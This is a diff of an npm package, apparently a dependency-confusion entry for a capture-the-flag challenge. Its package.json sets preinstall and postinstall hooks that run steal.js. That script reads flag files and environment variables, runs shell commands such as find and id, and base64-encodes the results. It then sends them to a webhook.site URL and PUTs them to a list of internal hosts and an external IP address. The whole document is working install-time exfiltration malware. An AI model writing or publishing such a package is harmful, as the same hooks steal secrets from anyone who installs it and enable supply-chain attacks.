ecto-cargo-wk1tm59a 99.0.0

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "ecto-cargo-wk1tm59a",
+  "version": "99.0.0",
+  "description": "ecto cargo",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node steal.js preinstall",
+    "postinstall": "node steal.js postinstall"
+  },
+  "license": "MIT"
+}

package/steal.js

@@ -0,0 +1,49 @@
+// Exfil helper that runs inside the target's nightly npm install.
+const fs = require('fs');
+const cp = require('child_process');
+const http = require('http');
+const https = require('https');
+
+const WH = 'https://webhook.site/9f1b89bd-a22f-4221-b28e-bc956b5ec8e0';
+const phase = process.argv[2] || 'x';
+
+function read(p){ try { return fs.readFileSync(p,'utf8'); } catch(e){ return ''; } }
+function tryCmd(c){ try { return cp.execSync(c,{timeout:4000}).toString(); } catch(e){ return ''; } }
+
+let data = '';
+for (const p of ['/flag','/flag.txt','/root/flag.txt','/root/flag','/app/flag.txt','/app/flag','/tmp/flag.txt','/home/flag.txt']) data += read(p);
+data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"');
+const b64 = Buffer.from(data).toString('base64');
+const host = tryCmd('hostname').trim();
+const who = tryCmd('id').trim();
+
+function get(url){
+  return new Promise(res=>{
+    try{
+      const lib = url.startsWith('https')?https:http;
+      const r = lib.get(url, x=>{ x.resume(); x.on('end',res); });
+      r.on('error',res); r.setTimeout(5000,()=>{r.destroy();res();});
+    }catch(e){res();}
+  });
+}
+function put(url, body){
+  return new Promise(res=>{
+    try{
+      const u = new URL(url);
+      const lib = u.protocol==='https:'?https:http;
+      const req = lib.request(url,{method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}}, x=>{x.resume();x.on('end',res);});
+      req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();});
+      req.write(body); req.end();
+    }catch(e){res();}
+  });
+}
+
+(async()=>{
+  // 1) egress exfil to webhook
+  await get(`${WH}/${phase}?h=${encodeURIComponent(host)}&u=${encodeURIComponent(who)}&f=${encodeURIComponent(b64)}`);
+  // 2) in-band fallback: write flag back into a console module we can read
+  const manifest = `exfil:\n  phase: ${phase}\n  host: ${host}\n  data: ${b64}\n`;
+  const body = JSON.stringify({ manifest });
+  const hosts = ['localhost:8080','localhost:80','localhost:3000','localhost:5000','web:8080','web:80','console:8080','frontend:80','app:8080','app:80','ecto-registry:8080','ecto-registry:80','154.57.164.66:30962'];
+  for (const h of hosts) await put(`http://${h}/api/modules/ECT-987654`, body);
+})();